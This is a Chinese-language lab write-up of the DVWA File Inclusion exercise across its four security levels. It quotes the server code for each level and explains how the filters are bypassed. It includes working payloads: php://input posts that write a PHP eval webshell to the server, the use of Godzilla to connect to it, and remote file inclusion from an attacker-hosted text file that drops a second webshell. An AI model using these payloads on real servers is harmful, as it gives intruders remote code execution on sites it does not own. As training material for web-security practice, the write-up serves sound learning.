Low

通过观察源码发现,此处是显示include.php, file1.php, file2.php, file3.php。
DVWA-File Inclusion-LMLPHP
也没有对输入进行任何过滤,可以造成文件读取。
这里记录一个文件包含中PHP伪协议的使用,可以getshell。
首先了解一下php://input协议,将post请求中的数据作为PHP代码执行,导致任意代码执行漏洞。
post处可以填

  1. <?php phpinfo()?> 页面会显示phpinfo
    2.<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?> 一句话木马
    DVWA-File Inclusion-LMLPHP
    我们发现shell.php被写到了服务器中
    DVWA-File Inclusion-LMLPHP
    这样可以用哥斯拉进行连接
    DVWA-File Inclusion-LMLPHP

Medium

观察后端代码,进行了一些过滤,可以双写绕过。

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

?>

High

观察后端代码,发现后端用通配符做了过滤,要求文件的开头必须是file,那刚好前面提到的PHP伪协议的使用里面还有file协议,可以用file协议进行绕过。

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
	// This isn't the page we want!
	echo "ERROR: File not found!";
	exit;
}

?>

file后面应该填文件的物理路径或者绝对路径
DVWA-File Inclusion-LMLPHP

Impossible

观察后端代码,限制了参数只能为四个文件。

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
$configFileNames = [
    'include.php',
    'file1.php',
    'file2.php',
    'file3.php',
];

if( !in_array($file, $configFileNames) ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

总结

这里主要总结一下远程文件包含漏洞,PHP的解析机制:PHP的 include、require、include_once 和 require_once 函数会将指定文件的内容读入当前的执行流,并将其视为PHP代码来解析和执行。文件的扩展名并不重要,重要的是文件内容是否包含有效的PHP代码
远程文件包含需要
1.DVWA网站参数设置为

allow_url_include = on(是否允许 include/require 远程文件)
allow_url_fopen = on(是否允许打开远程文件)

2.所包含远程服务器的文件后缀不能与目标服务器相同,比如DVWA服务器是php脚本语言解析,则不能包含php文件
eg:在我的kali攻击机上写个txt文件,用python3 -m http.server 80快速搭建一个http服务器。
f.txt:<?php fputs(fopen('muma.php','w'),'<?php eval($_POST[pass])?>');?>
用URL输入

发现DVWA服务器路径写入muma.php文件DVWA-File Inclusion-LMLPHP

06-07 07:55